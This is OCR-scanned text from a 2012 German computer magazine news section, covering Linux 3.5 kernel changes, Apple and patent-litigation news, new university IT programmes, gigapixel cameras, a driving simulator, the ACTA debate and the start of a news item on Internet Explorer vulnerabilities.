des Paket-Schedulers ,Control-
led Delay Active Queue Manage-

ment (AQM)”. Er ist ein weiterer
Baustein, der zur Vermeidung
des Problems ,Bufferbloat” bei-
tragen soll; das fuhrt unter ande-
rem zu grofBen Netzwerklaten-
zen und Verbindungsproblemen,
an der eine zu intensive Nutzung
der Caches in modernen Netz-
werkchips mitschuldig ist.

Der noch junge Teaming-
Treiber wird ab Linux 3.5 auch
Load Balancing beherrschen.
Zum TCP-Stack stoBt ,Early Re-
transmit (ER)”, das die Verbin-
dungsregeneration nach Paket-
verlusten beschleunigen soll, wie
es RFC 5827 beschreibt. Das
ebenfalls neue ,TCP connection
repair” soll Probleme beim Netz-
werkverkehr vermeiden, nach-
dem Container auf einen ande-
ren Host verlagert wurden.

Die ,User Namespace En-
hancements” dichten
besser ab und sorgen fiir eine
saubere Trennung von User- und
Gruppen-IDs auf dem Host und
im Container. Anwender, die
Root-Rechte in einem Container
haben, koénnen dadurch nicht
mehr auf beliebige Dateien in
den Verzeichnissen /proc/ und
/sys/ zugreifen und Uber diese
das Verhalten des Wirts beeinflus-
sen. Uber den ,Seccomp Filters
Mechanism” kann Software in der
Syntax eines Berkeley-Packet-
Filters einen Filter einrichten, der
reglementiert, welche System
Calls ein Programm nutzen darf;
das kann etwa flr Browser
interessant sein, die nicht ver-
trauenswurdigen Code ausfiihren
wollen.

Android

Linux 3.5 wird die bei Android
genutzte ,Switch”“-Funktion zum
Monitoring von Anschlissen in
einer Uberarbeiteten Form ent-
halten, die sich ,External Con-
nector Class (extcon)” nennt. In
das Power-Management-Subsys-
tem ziehen Autosleep und einige
zugehorige Erweiterungen ein,
durch die sich ein System auto-
matisch komplett schlafen legen
kann, wenn es nichts zu tun gibt.
Das ist weniger fur Notebooks als
fur Gerdte wie Smartphones inte-
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ressant, die schnell aus dem Tief-
schlaf aufwachen; der Android-
Kernel bietet im Rahmen von
«Wakelocks” alias ,Suspend Blo-
ckers” schon langer &hnliche
Mechanismen und erzielt ohne
sie nur durftige Akku-Laufzeiten.
Diese Funktionen waren mehr-
fach Zankapfel zwischen Linux-
Kernel- und Android-Entwicklern;
ob Letztere mittelfristig auf die
neue Kernel-Infrastruktur umstel-
len, ist nicht bekannt.

Der Kernel erhélt zudem eini-
ge gréBere Umbauten an den
Funktionen rund um das Log-
ging, was Verbesserungen fiir die
automatische Analyse von Ereig-
nisprotokollen bieten sollen. Der
Architektur- und Tracing-Code
des Kernels unterstitzt nun das
JPrecise event sampling” mit den
Funktionseinheiten fur Instruc-
tion-Based Sampling (IBS), die
AMDs moderne Prozessorkerne
zum Performance Monitoring
mitbringen. Durch gréBere Um-
bauten am Code fir Error De-
tection And Correction (EDAC)
zeigt der Kernel in Zukunft bes-
ser an, wo genau ein Speicher-
fehler aufgetreten ist.

Die Treiber flir das Manage-
ment Engine Interface (MEI)
vieler Mainboard-Chipsétze von
Intel konnte den Staging-Zweig
verlassen. Selbiges gelang nach
langer Zeit auch den Kernfunk-
tionen zur Unterstiitzung des In-
dustrial I/0 (llO) - ein in der In-
dustrie genutztes Bussystem, um
etwa Spannungs-, Temperatur-,
Beschleunigungs- oder Hellig-
keitssensoren  anzusprechen.
Viele lIO-Treiber bleiben aber flrs
Erste noch im Bereich fir Treiber,
die den Qualitatsansprichen der
Kernel-Entwickler nicht gentigen.
Fur den Embedded-Bereich inte-
ressant ist der neue Contiguous
Memory Allocator (CMA), der
groBere zusammenhéngende
Speicherbereiche zur Nutzung
durch Treiber reserviert.

Der Prozess-Scheduler erféhrt
einige grofere Umbauten, die
das Verhalten bei NUMA-Syste-
men verbessern sollen. Einige
angestaubte, laut den Entwick-
lern mehr schlecht als recht ar-
beitende Funktionen zum strom-
sparenden Prozess-Scheduling
fliegen in dem Zug raus. Mit 3.5
entfernen die Kernel-Entwickler
zudem die Unterstltzung fur
Token-Ring-Netzwerke und die
Micro Channel Architecture
(MCA), die beide schon seit mehr
als einem Jahrzehnt Oldtimer-
Status haben. (thl)
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Mountain-Lion-Release riickt ndher

Laut einem Bericht von 9to5Mac
hat Apple die Mitarbeiter seiner
Retail-Stores gebeten, den Lion-
Nachfolger zu testen. Genius-Bar-
Experten und ,Creatives” sei eine
AppleSeed-Mitgliedschaft einge-
richtet worden, womit sie eine
Vorabversion des Berglowen
auch auf ihren Privatrechnern in-

stallieren kénnen. Das Programm
nutzt der Hersteller gewohnlich,
um Pre-Release-Versionen von
ausgewabhlten Personen abseits
der Apple-Entwicklergemeinde
testen zu lassen. Die Einbindung
der Ladenangestellten stelle ein
Novum dar, heift es. Mac OS X
10.8 ist fur Juli angekundigt. (jra)

AppleScript-IDE im Ein-Fenster-Design

Die AppleScript-Entwicklungs-
umgebung Script Debugger ist in
Version 5 mit Uberarbeiteter Be-
dienoberfliche erschienen: Ahn-
lich wie in Xcode ordnen sich Va-
riablen-Ubersichten und Inspek-
toren nun innerhalb des Haupt-
fensters an. Zwischen mehreren
Skripten lasst sich mit Hilfe von
Tabs schneller wechseln.
Bedingte Haltepunkte (Condi-
tional Breakpoints) erleichtern
neuerdings die Fehlersuche:
Skripte werden zu definierten

repeatwith in

set to tite
it contains "Herr" then

it = missng value then
set title to "Herr”
save

else

save
end if
end if

end tell
end repeat
endtell

Bedingungen, beispielsweise
nach Erreichen eines bestimmen
Schleifendurchlaufs angehalten.
Den passenden Code-Schnipsel
findet man mit einer neuen
Schnell-6ffnen-Funktion, die
Spotlight verwendet und alle
Skriptdateien auf dem Mac
durchsucht. Script Debugger 5
ist eine 64-Bit-Applikation, sie
gibt es nurin englischer Sprache.
Die Vollversion kostet 200 US-
Dollar, ein Upgrade ist ab 100
US-Dollar erhaltlich. (thk)

Script Debugger 5 erlaubt bedingte Haltepunkte,

ideal fur die Fehlersuche.

iOS-Gerate verletzen Samsung-Patent

Apple verletzt mit bestimmten
iPhone- und iPad-Modellen ein
Patent von Samsung in den Nie-
derlanden. Das hat das Bezirks-
gericht in Den Haag entschieden.
Konkret geht es um éltere Gerate
mit Infineon-Kommunikations-
Chip und das UMTS-Patent mit
der Nummer EP1188269. Das
iPhone 4S und das iPad der drit-
ten Generation sind davon aus-
genommen, beide verwenden
einen Funkchip von Qualcomm.
Da es sich um sogenannte
FRAND-Lizenzen handelt, mus-
sen sich beide nun auf eine Li-
zenzzahlung verstandigen.
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Drei weitere Patente, die Sam-
sung in zwei weiteren Klagen
gegen Apple angefiihrt hatte,
verletzt der Hersteller nach An-
sicht des Gerichts nicht. Dadurch
muss der stidkoreanische Kon-
zern dem iPhone-Hersteller Pro-
zesskosten in Hohe von 800 000
Euro erstatten. Diese Summe
konnte die Hohe der Lizenzzah-
lung Ubersteigen, die Apple fir
die Patentverletzung an Sam-
sung leisten muss. Im Prozess-
verlauf hatte Samsung vergeb-
lich versucht, einen Verkaufs-
stopp von Apples UMTS-Produk-
ten zu erreichen. (ohu)

Bildverwalter beschleunigt

ACD Systems hat Version 2 sei-
nes Bildverwalters und -optimie-
rers ACDSee Pro flir den Mac ver-
offentlicht. Sie kommt mit Gber-
arbeiteter Cocoa-Oberflache, soll
unter der Haube in 64 Bit und
deutlich schneller rechnen.
Hinzugekommen sind unter
anderem eine Duplikatsuche,
eine Diashow-Vollbild-Ansicht
mit acht verschiedenen Uber-
gangseffekten und neue Regler
wie ,Clarity” (Klarheit), ,Soft

Focus” oder ,Cross Process”. Die
letzten beiden Einstellungen ver-
passen dem Foto einen Retro-
Look mit verwaschenen Bildbe-
reichen und Farbverschiebun-
gen. Besonderes Augenmerk hat
der Hersteller auf fein justierbare
Helligkeit- und Kontrastwerte
gelegt, die sich mit bis zu zehn
Reglern  optimieren lassen.
ACDSee Pro 2 kostet 140 US-Dol-
lar, eine deutsche Sprachversion
gibt es bislang nicht. (thk)

US-Bundesgericht weist Klagen von Apple

und Motorola ab

Im Patentstreit zwischen Apple
und Motorola hat das US-Bun-
desberufungsgericht die Klagen
beider Kontrahenten abgewie-
sen. Der vorsitzende Richter Ri-
chard Posner fuhrte aus, dass
beide keinen finanziellen Scha-
den durch die moglichen Pa-
tentverletzungen nachweisen
konnten.

Das Urteil konnte sich rich-
tungsweisend fur Patentstreitig-
keiten weltweit erweisen und

Mac-Notizen

Nach dem moderaten Mac-
Pro-Update (siehe c't 14/12)
hat sich Apple-Chef Tim Cook
via E-Mail gegeniiber einem
enttauschten Kunden ge-
duBert: ,,Apple sind die Pro-
Kunden sehr wichtig”. Etwas
,GroBartiges” Neues werde im
nachsten Jahr auf den Markt
kommen, bis dahin sei das Re-
tina-MacBook-Pro eine gute
Lésung flr Profis.

Apple will US-Angestellten sei-
ner Retail-Sparte kiinftig bis zu
25 Prozent mehr Lohn bezah-
len. Derzeit liegen die Stunden-
satze fur Ladenangestellte zwi-
schen 9 und 15 US-Dollar und
far Genius-Bar-Mitarbeiter bei
bis zu 30 US-Dollar.

374 000 US-Dollar war einem
unbekannten Bieter bei einer
Auktion am 15. Juni in New
York ein Apple 1 wert. Von
Apples erstem rund 200-mal
gebauten Computer existieren
heute noch rund 50 Exempla-
re, darunter sechs lauffahige.
Bei einer anderen Auktion

dirfte vor allem in den USA zu
dhnlichen Klageabweisungen
fuhren. Patentexperte Florian
Muller beflirchtet allerdings,
dass als Konsequenz dann viele
Patentstreitigkeiten einfach von
den USA in andere Lander wie
beispielsweise Deutschland ver-
lagert werden. Er glaubt, dass
sich auBerhalb der USA erst in
funf bis zehn Jahren die Rechts-
auffassung Posners durchsetzen
konnte. (ohu)

Ende 2010 wechselte ein Mo-
dell fir 213 000 US-Dollar den
Besitzer.

Uber 100 Videos von WWDC-
Vortragen gibt es auf der
Apple-Website, bei iTunes und
iTunes U. Einen Bericht zur
WWDC bringt Mac & i online
(siehe c't-Link).

Mit der Update-Version 1.2.1
behebt Apple schwerwiegen-
de Probleme des Thunder-
bolt-Updates 1.2, das auf eini-
gen Rechnern das Booten von
Mac OS X verhinderte. Ergdnzt
wird mit den beiden Aktualisie-
rungen die Unterstitzung des
Thunderbolt-Gigabit-Ethernet-
Adapters. Das Update setzt
mindestens Mac OS X 10.7.4
voraus.

Apple liefert das Thunderbolt
Display nun mit dem neuen,
flacheren MagSafe-2-Anschluss
aus. Fir Macs mit dem alten
MagSafe-Anschluss liegt ein
Adapter bei.

www.ct.de/1215042
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Per Fernstudium zum IT-Analysten

Fachinformatiker mit Hochschul-
zugangsberechtigung kénnen
sich ab dem Wintersemester
2012/13 an der Fachhochschule
Kaiserslautern (Campus Zwei-
briicken) berufsbegleitend zum
IT-Analysten fortbilden. Der
neue Fernstudiengang, der
Hochschulangaben zufolge auch
»Systemadministratoren, Elektro-
berufler und andere EDV-Tatige”
ansprechen soll, die bereits Er-
fahrungen mit Software-Ent-
wicklung gesammelt haben (zu
den Voraussetzungen siehe den
nachfolgenden c't-Link), ist auf
neun Semester angelegt und
schlieBt mit dem ,Bachelor of

Science” ab. Schwer-

punkt des Studiums

ist die ,Vertiefung wissenschaft-
licher und praktischer Methoden
von IT-Entwicklungsprojekten
und deren anschlieBender Be-
treuung und Umsetzung”.

Zu den Studieninhalten geho-
ren unter anderem Program-
mierkonzepte, IT- und Software-
architekturen, Prozessmanage-
ment und Qualitatssicherung.
Pro Semester sind vier Lernmo-
dule vorgesehen, die jeweils mit
einem Prdsenztag an der Fach-
hochschule beginnen und nach
einer funf- bis sechswdchigen
Phase des Selbststudiums dort

Masterstudiengang , Energietechnik” am KIT

An der ,School of Energy” des
Karlsruher Instituts fur Technolo-
gie (KIT) startet zum kommen-
den Wintersemester 2012/13 der
neue Masterstudiengang ,Ener-
gietechnik”, der sich an deutsche

Die sieben Arbeitsbereiche des
KIT-Zentrums Energie

und auslandische Bachelor-Ab-
solventen der Fachrichtungen
Maschinenbau, Chemie-Inge-
nieurwesen, Verfahrens-, Elektro-
und Informationstechnik richtet.
Neben Grundlagenwissen (Ther-
modynamik, Stromungslehre,
Stromerzeugung etc.) erwerben
Teilnehmer Spezialkenntnisse in
selbst gewdhlten Bereichen wie
+Erneuerbare Energien und Ener-
giespeicherung”, ,Warmekraft-
werke”, ,Fusionstechnologie”
oder ,,Chemische Energietrager”.
Hinzu kommen Veranstaltungen
aus dem Bereich ,Mathemati-
sche Methoden, Modellbildung
und Simulation” sowie ein inter-
disziplindres Projekt und ein Be-
rufspraktikum.

Das breite Facherangebot im
neuen Masterstudiengang ver-
setze die Teilnehmer in die Lage,

Neue Informatik-Studienangebote in Zwickau

Horch, Audi, Auto Union, Sach-
senring-Werke, Volkswagen -
die Automobilproduktion im
sdchsischen Zwickau hat eine
lange Tradition. An der West-
sdchsischen Hochschule Zwick-
au (WHZ) kénnen Auto- und IT-
Interessierte kiinftig auch ,Kraft-
fahrzeug-Informatik” studieren.
Derzum Wintersemester 2012/13
startende Bachelor-Studiengang
dauert sieben Semester und ver-
mittelt neben klassischen Inhal-
ten wie Programmierung, Soft-
ware-Entwicklung und Daten-
bank-Technologien auch Grund-
lagen aus den Bereichen Kraft-
fahrzeugtechnik, Elektro- und
Regelungstechnik sowie Fahr-
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zeugkommunikation. Erfolgrei-
chen Absolventen stiinden viel-
faltige Betdtigungsmoglichkei-
ten sowohl bei den Autoherstel-
lern selbst als auch in der Zulie-
ferindustrie offen, unterstreicht
der Leiter der Fachgruppe Infor-
matik, Professor Wolfgang Go-
lubski.

Parallel dazu startet an der
WHZ zum Wintersemester der
neue Studiengang ,Gesund-
heitsinformatik”. Hier lernen Stu-
dierende ,Informationssysteme
im Gesundheitswesen” kennen,
Uben den Umgang mit der ,Sig-
nal- und Bildgewinnung in der
Medizin” und erwerben Kennt-
nisse der ,Epidemiologie und

Fachhochschule
Kaiserslautern
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University of
Applied Sciences

auch wieder mit einem Prdsenz-
tag (in der Regel Freitag oder
Samstag) enden. Einmal pro Jahr
mussen Studierende an einer
zusatzlichen Prasenzwoche teil-
nehmen. Die Kosten pro Modul
inklusive ,virtueller Lernkom-
ponenten” belaufen sich auf
65 Euro, hinzu kommen Sozial-
beitrdge der Fachhochschule
Kaiserslautern (derzeit 79 Euro
pro Semester). Bewerbungen
kénnen bis zum 15. Juli einge-
reicht werden. (pmz)

www.ct.de/1215043

systematisch interdisziplindre
Fragestellungen in der Energie-
technik zu erschlieBen und an
neuen Lésungen mitzuarbeiten,
erklart die Koordinatorin der ,KIT
School of Energy”, Dr. Julia John-
sen. Abgesehen von wenigen
Ausnahmen (dann deutsch)
werden die Lehrveranstaltungen
in englischer Sprache durch-
gefihrt. Nicht-Muttersprachler
mussen deshalb einen Nachweis
Uber bestandene Sprachtests
(TOEFL, IELTS, CAE, CPE) erbrin-
gen. Die Bewerbungsfrist fur den
zweijdhrigen Studiengang endet
am 30. September 2012; interna-
tionale Studierende, die fir ihren
Aufenthalt in Deutschland ein
Visum benétigen, sollten sich bis
zum 15, Juli bewerben.  (pmz)

www.ct.de/1215043

Biometrie”. Zu den weiteren Stu-
dieninhalten gehoren wissens-
basierte Systeme in der Medizin,
Gesundheits- und Krankenhaus-
6konomie, Computergrafik oder
auch ,taktisches Informations-
management”. Als spateres Be-
rufsumfeld kommen unter ande-
rem IT-Abteilungen in Kranken-
hausern, Versicherungen oder
Kassenarztlichen Vereinigungen
in Frage. Die Bewerbungsfrist
fur Kraftfahrzeug-Informatik, Ge-
sundheitsinformatik sowie einen
dritten neuen Studiengang
(,nur” Informatik) endet jeweils
am 15, Juli. (pmz)

www.ct.de/1215043
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125 Jahre PTB - Tag der offenen Tiir

Die Physikalisch-Technische Bun-
desanstalt (PTB) in Braunschweig
ladt anldsslich ihres 125-jahrigen
Bestehens am 14, Juli (Samstag)
zu einem Tag der offenen Tir ein.
Als nationales Metrologie-Institut
ist die PTB nicht nur fir die Be-
wahrung von Einheiten wie
Meter, Kilogramm oder Sekunde
und die Bestimmung von Funda-
mental- und Naturkonstanten
(z. B. Plancksches Wirkungsquan-
tum, Universelle Gaskonstante,
Gravitationskonstante) zustandig
- die Bundesoberbehérde mit
1800 Beschaftigten und einem
Jahresetat von 130 Millionen
Euro prift beispielsweise auch,
ob Bauartzulassungen ftir Wahl-
computer erteilt werden kdnnen

oder ob elektronische Spielauto-
maten mit Gewinnmoglichkeit
den gesetzlichen Vorgaben ent-
sprechen.

Ab 15 Uhr haben Technikinte-
ressierte die Moglichkeit, mehr als
30 Laboratorien auf dem Braun-
schweiger PTB-Geldnde zu besu-
chen und sich Uber die Arbeit
dort zu informieren. Zum Pro-
gramm gehoren auBBerdem meh-
rere wissenschaftliche Vortrage
(siehe dazu auch den nach-
folgenden c't-Link), eine Aus-
stellung zu elektrischer Energie-
messtechnik, ein interaktiver
Exkurs in Nanowelten, Besichti-
gungstouren in die Ausbildungs-
bereiche der PTB sowie zahl-
reiche kulturelle Aktivitaten. Der
Eintritt ist frei, die stadtischen
Verkehrsbetriebe richten einen
Bus-Shuttle ein, der alle halbe
Stunde zwischen dem Braun-
schweiger Stadtteil Kanzlerfeld
und der Physikalisch-Technischen
Bundesanstalt verkehrt.  (pmz)

www.ct.de/1215044

Prazise: Die Abweichungen
der beiden Caesium-Fontanen-
uhren der PTB betragen
maximal eine Sekunde in

40 Millionen Jahren.

Kameras mit Gigapixel-Auflosung

Forscher mehrerer amerikani-
scher Universitaten entwickeln im
Auftrag der ,Defense Advanced
Research  Projects Agency”
(DARPA) des US-Verteidigungs-
ministeriums Kamerasysteme, die
Bilder mit Gigapixel-Auflésung
aufnehmen konnen. Wie sie im
Wissenschaftsmagazin ,Nature”
berichten, nutzen die Ingenieure
daftir eine monozentrische Ku-
gellinse mit einem Sichtfeld von
120 Grad horizontal und 50 Grad
vertikal, hinter der ein ganzes
Array von Mikrokameras mit je-
weils eigener Optik und 14-
Megapixel-Bildsensor sitzt. Die in
Offnungen einer halbkugelférmi-
gen Metallschale von der GroR3e
eines Salatsiebs eingepassten Mi-
krokameras (je nach Modell bis zu
Gber 200 Sttick) sind jeweils fiir
einen eigenen Bildausschnitt zu-
standig und kénnen Scharfstel-
lung sowie Belichtung individuell
regeln. Eine integrierte Korrektur-
Software sorgt daftr, dass durch
Verzerrungen hervorgerufene

optische Abbildungsfehler der :
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Bild: Duke University

Mikrokameras vor dem Zusam-
menfligen der Bilder weitgehend
eliminiert werden.

Bislang haben die Wissen-
schaftler der Duke University, der
University of Arizona, der Univer-
sity of California in San Diego
und der Distant Focus Corporati-
on zwei Kameramodelle fiir das
AWARE-Projekt (,,Advanced Wide
FOV Architectures for Image Re-
construction and Exploitation”)
der DARPA gebaut. Das in
.Nature” vorgestellte Modell
+AWARE-2" kommt mit 98 Mikro-
kameras auf eine Bildauflosung

Bild: Universitd

Grof3ter Fahrsimulator Europas

Das Institut fur Verbrennungsmo-
toren und Kraftfahrwesen (IVK) an
der Universitat Stuttgart und das
Forschungsinstitut fur Kraftfahr-
wesen und Fahrzeugmotoren
Stuttgart (FKFS) haben Ende Juni
den eigenen Angaben zufolge
groBten und leistungsfahigsten
Fahrsimulator Europas an einer
Forschungseinrichtung offiziell in
Betrieb genommen.Dasmehrals
sieben Millionen Euro teure Sys-
tem ist mit einer Acht-Achsen-
Technik ausgestattet, liber die
kombinierte Translations- und
Rotationsbewegungen erzeugt
werden kénnen. Im Innenraum
der auf einem Hexapod gelager-
ten Simulator-Kuppel sorgen 12
LED-Projektoren fur virtuelle
StraBen- und Umgebungsbilder.

von 1,4 Gigapixel (siehe c't-Link).
Die Detailgenauigkeit ist den
Angaben zufolge so hoch, dass
auf einer im Snapshot-Modus ge-
machten Aufnahme selbst 800
Meter entfernte StraBenschilder
noch entziffert werden kénnen.
Einsatzbereit ist zudem ein 2-
Gigapixel-Prototyp, der mit 226
Mikrokameras ausgestattet ist —
und selbst 10- oder 50-Gigapixel-
Varianten sind laut den Wissen-
schaftlern keine Utopie.

Daflir mussen aber zunachst
vor allem die elektronischen
Komponenten schrumpfen: Wéh-

Gigapixel-
Aufnahme der
Skyline von
Seattle mit
Detailansichten
(unten)

Eingesetzt werden soll der
Fahrsimulator sowohl in der
Grundlagenforschung als auch
bei Verbundprojekten mit der
Automobilindustrie. Das Projekt
ist Teil des VALIDATE-Pro-
gramms (Virtual Automotive Lab
for Integrated Digital Automati-
on Technologies), das vom Bun-
desministerium fur Bildung und
Forschung (BMBF) mit insgesamt
3,7 Millionen Euro geférdert
wird, und des baden-wurttem-
bergischen Elektromobilitdtspro-
gramms ,ElefAnt” (Elektrofahr-
zeuge und -Antriebe). Schwer-
punkt von ,ElefAnt” ist die Ent-
wicklung von Assistenzsystemen
fur intelligentes Energiemanage-
ment und préazise Reichweiten-
vorhersagen. (pmz)

Mit dem neuen
Fahrsimulator
der Uni Stuttgart
lassen sich Hub-,
Nick-, Wank-
und Gier-
bewegungen
erzeugen.

rend samtliche optischen Ele-
mente im 0,75 Meter X 0,75 Meter
% 0,5 Meter groBen Gehéduse des
1,4-Gigapixel-Modells lediglich
3 Prozentdes Volumens belegen,
ist der Rest fur Schaltungen, Pro-
zessoren, Verkabelung, Stromver-
sorgung und Kuihlung reserviert -
bis zu einem Transport in der Ho-
sentasche durfte also noch einige
Zeit vergehen. Ein weiteres Pro-
blem ist die Verarbeitung der
enormen Datenmengen. Derzeit
dauerte es rund 18 Sekunden, bis
aus den Einzelaufnahmen der Mi-
krokameras ein fertiges Schwarz-
weiB-Bild entsteht. Auch der Preis
ist nicht ohne: Rund 100 000 US-
Dollar veranschlagen die Wissen-
schaftler aktuell fir den Bau einer
einzigen Kamera. Fir die DARPA,
die das Projekt mit 25 Millionen
Dollar fordert, wére ein Einsatz
der Technik beispielsweise in
Flugdrohnen oder der automati-
sierten Uberwachung von Grenz-
abschnitten denkbar. (pmz)

www.ct.de/1215044
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Stefan Krempl

ACTA vorerst am Ende

Keine Mehrheit fiir das Anti-Piraterie-Abkommen im Europarlament

Anfang Juli sollen die européischen Volksvertreter liber das Anti-Counterfeiting Trade
Agreement abstimmen. Funf Ausschiisse haben sich bereits gegen den Vertrag
ausgesprochen. Doch die EU-Kommission will sich noch nicht geschlagen geben.

er bei ACTA federfihrende

Handelsausschuss des EU-
Parlaments hat dem umstrittenen
Anti-Piraterie-Abkommen einen
weiteren Dampfer verpasst: Das
Gremium sprach sich mit 19 zu 12
Stimmen gegen die Ratifizierung
aus. Die Mehrheit der Abgeord-
neten folgte dem Vorschlag des
Berichterstatters David Martin.
Nach Ansicht des schottischen
Labour-Abgeordneten wiegt die
Besorgnis, dass ACTA Grundrech-
te und die Netzfreiheit beein-
trachtigen konnte, schwerer als
Hoffnungen auf eine bessere in-
ternationale Bekampfung von
Rechtsverletzungen [1].

Ende Mai hatten bereits der
Innen-, der Industrie- und der
Rechtsausschuss die Signale auf
Rot gestellt. Anfang Juni lehnte
auch der Entwicklungsausschuss
ACTA ab. Das Votum der Han-
delspolitiker gilt nun als Empfeh-
lung fir die entscheidende Ab-
stimmung im Parlament am
4. Juli. Folgt die Vollversamm-
lung wie erwartet dem Votum
der Ausschusse, ist das Abkom-
men international zunachst vom
Tisch. Martin geht davon aus,
dass es auch einzelne Mitglieds-
staaten ohne EU-Ratifizierung
nicht in Kraft setzen kdnnten.

Heftige Debatte

Der internationale Vertrag, mit
dem die unterzeichnenden Staa-
ten ihre Zusammenarbeit bei der
Bekdampfung von Produktpirate-
rie und Marken- sowie Urheber-
rechtsverletzungen verbessern
wollen, ist seit Monaten Gegen-
stand einer heftigen Debatte.
JWir verlieren unsere Wett-
bewerbskraft”, brach Adrian van
den Hoven vom européischen In-
dustrieverband Business Europe
unldngst eine Lanze fiir das Ab-
kommen. 50 bis 80 Prozent der
Wertschopfung in Europa beruh-
ten auf immateriellen Gutern,
wahrend Handelspartner wie
China auf Falschungen setzten
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und bei Importen die organisierte
Kriminalitdt vorherrsche. Die
Ubereinkunft verbessere die in-
ternationale  Zusammenarbeit
zwischen Zollbehérden und die
Regeln zur Beschlagnahme ge-
falschter Guter.

Vor der Entwicklung eines
Schwarzmarkts im Internet war-
nen  Mediengewerkschaften.
ACTA ist in ihren Augen geeig-
net, die Rechte von Medien-
schaffenden und Kinstlern im
digitalen Zeitalter zu stdrken.
Vielfach verberge sich hinter
dem Aufhénger der Meinungs-
freiheit der Wunsch, auf mog-
lichst viele Inhalte kostenfrei zu-
zugreifen. Kreative aus dem Mu-
sikgeschaft riigen, dass man
zwar menschliche Werte, nicht
aber die Technologie in Frage
stellen durfe. lhre Rechte als
Kunstler wirden als ,politischer
FuBball” missbraucht, um die
Agenda Dritter durchzudricken.
lllegale Aktivitdten in Peer-to-
Peer-Netzwerken, Sharehosting
und Piratenseiten hatten sich zu
einem Multi-Milliarden-Geschéft
entwickelt, dem selbststandige
Schopfer nichts entgegensetzen
kénnten.

Das in ACTA enthaltene Inter-
netkapitel 6ffne die Tur fir die
Kriminalisierung vieler bestehen-
der rechtmaBiger Online-Dienste
und ihrer Nutzer, halten dem
Vertreter von Birgerrechtsorga-
nisationen wie La Quadrature du
Net entgegen. Gleichzeitig
wirde die dringend notige
grundlegende Reform des Pa-
tent- und Urheberrechts verzo-
gert. Die Internetwirtschaft stort
sich vor allem an den vorgesehe-
nen freiwilligen Kooperations-
modellen” zwischen Providern
und Rechteinhabern, bei denen
sie sich in die Rolle des Netz-
Hilfssheriffs gedréngt sieht.

In der Vereinigung Médicins
Sans Frontieres organisierte
Arzte beklagen eine ,Landnah-
me” der Rechteinhaber und
furchten, ACTA koénne Auswir-
kungen auf den Handel mit Ge-
nerika haben und so die Versor-
gung der Entwicklungslander
mit billigen Medikamenten un-
tergraben. Auch viele Rechtswis-
senschaftler laufen Sturm gegen
ACTA. Sie kritisieren bereits das
undurchsichtige Zustandekom-
men des Vertrags, den vor allem
Australien, Japan, Kanada, die

Die Proteste gegen ACTA - wie hier in Miinchen -
sind nicht ohne Wirkung geblieben.

Foto: dpa

USA und die EU ohne Einbezie-
hen der Interessengruppen und
Uber weite Strecken im Rahmen
der ,Geheimdiplomatie” voran-
getrieben haben.

Einige der Einwdnde nahmen
die Verhandlungsfiihrer zwar auf
offentlichen Druck hin noch auf
und entscharften das Uberein-
kommen. Vage Begrifflichkeiten
verunsichern Beobachter aber
nach wie vor und trieben im Feb-
ruar vor allen in EU-Staaten wie
Polen und Deutschland Hundert-
tausende zu Anti-ACTA-Protes-
ten auf die StraBBen. Fur die De-
monstranten ist der Vertrag zu
einem Symbol fir eine wachsen-
de Dominanz des Systems des
Jgeistigen Eigentums” gewor-
den, das eine Anpassung des Ur-
heberrechts an die Belange der
digitalen Gesellschaft verhindert.

Per Aspera ...

Die EU-Kommission bemiiht sich
unterdessen weiter, die vorge-
brachten Bedenken zu entkraf-
ten. Handelskommissar Karel
De Gucht betont, ACTA sei kein
Big Brother. Vielmehr hdnge die
Wettbewerbsfahigkeit der EU
von dem Abkommen ab. Sank-
tionen fir von Internetnutzern
begangene Urheberrechtsverlet-
zungen wie die in einigen EU-
Landern diskutierten Internet-
sperren flr Wiederholungstater
seien nicht enthalten. Der Bel-
gier appelliert an die Volksvertre-
ter, vor einer Entscheidung die
Einschatzung des Europdischen
Gerichtshofs (EuGH) abzuwarten.
Die Kommission hat dem hochs-
ten europdischen Gericht die
Frage vorgelegt, ob die Uberein-
kunft mit dem bestehenden EU-
Recht und der Grundrechte-
Charta vereinbar ist.

Ende Juni versicherte De Gucht,
«einige Klarstellungen zu ACTA
vorzuschlagen” - vor allem zum
heil} diskutierten Internetkapitel.
Lehnt das Parlament Anfang Juli
ab, will der Handelskommissar
das Abkommen den Abgeordne-
ten nach der Stellungnahme des
EuGH ein zweites Mal vorlegen.
Die ACTA-Saga konnte also wei-
tergehen. Der Verhandlungsfiih-
rer der Volksvertreter betonte
vor Kurzem ebenfalls, dass ein al-
ternativer Weg Europas zum
Schutz immaterieller Glter ge-
funden werden misse und
dabei alle Vertragspartner an
den Verhandlungstisch zurtick-
kehren konnten. Martin hielt
fest, dass ACTA eine solche Be-
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stimmung zu Nachverhandlun-
gen vorsehe.

... doch noch ad ACTA

»Man kann aus ACTA noch ein
ordentliches Abkommen ma-
chen”, glaubt Daniel Caspary von
der CDU. ,Einen Patienten, der
eine leichte Erkdltung hat, sollte
man versuchen zu kurieren und
nicht gleich umbringen”, skiz-
ziert der EU-Abgeordnete die
Linie seiner Fraktion. Korrektu-
ren seien auch Uber Zusatzpro-
tokolle moglich. Amelia Anders-
dotter von der Fraktion der Gri-
nen will die Haltung des Parla-
ments dagegen als Signal
verstanden wissen, dass weitere

Reformen des fragmentierten
Systems dringend nétig seien.
Zundchst sei das interne EU-Pro-
blem zu losen, dass die Mit-
gliedslander sehr unterschiedli-
che Kataloge méglicher Nutzer-
rechte umgesetzt haben. Als
weitere Baustelle steht in Brissel
die Novelle der Richtlinie zur
besseren Durchsetzung der
Rechte an immateriellen Gitern
an, die ahnliche Fronten wie
ACTA offnen durfte.

In den USA ist unterdessen die
Obama-Regierung fir ihre Hal-
tung zu ACTA weiter in die Kritik
geraten. 50 renommierte Rechts-
professoren wiesen den US-Senat
im Mai in einem offenen Brief
darauf hin, dass das Abkommen

Angriffe auf Internet Explorer

Zwei kritische Sicherheitslicken
im Internet Explorer werden
aktiv far Angriffe ausgenutzt.
Eine Lucke hat Microsoft an sei-
nem Juni-Patchday geschlossen,
fur die andere konnte das Unter-
nehmen bis Redaktionsschluss
nur einen behelfsmaBigen Patch
in Form eines FixIt-Tools (siehe
c't-Link) anbieten. Anders als der
Patch fiir die erste Schwachstelle
wird das Tool nicht automatisch
Uber Windows Update verteilt.
Dabei hat es die Liicke durch-
aus in sich: Google lieB durchbli-
cken, dass die Schwachstelle in
den Microsoft XML Core Services
wohl gezielt zum Ausspionieren
von Gmail-Nutzern eingesetzt

wird - und zwar in staatlichem
Auftrag. Um seine Nutzer zu
schiitzen, hat Google eine Warn-
funktion entwickelt, die den Aus-
spionierten einen Hinweis an-
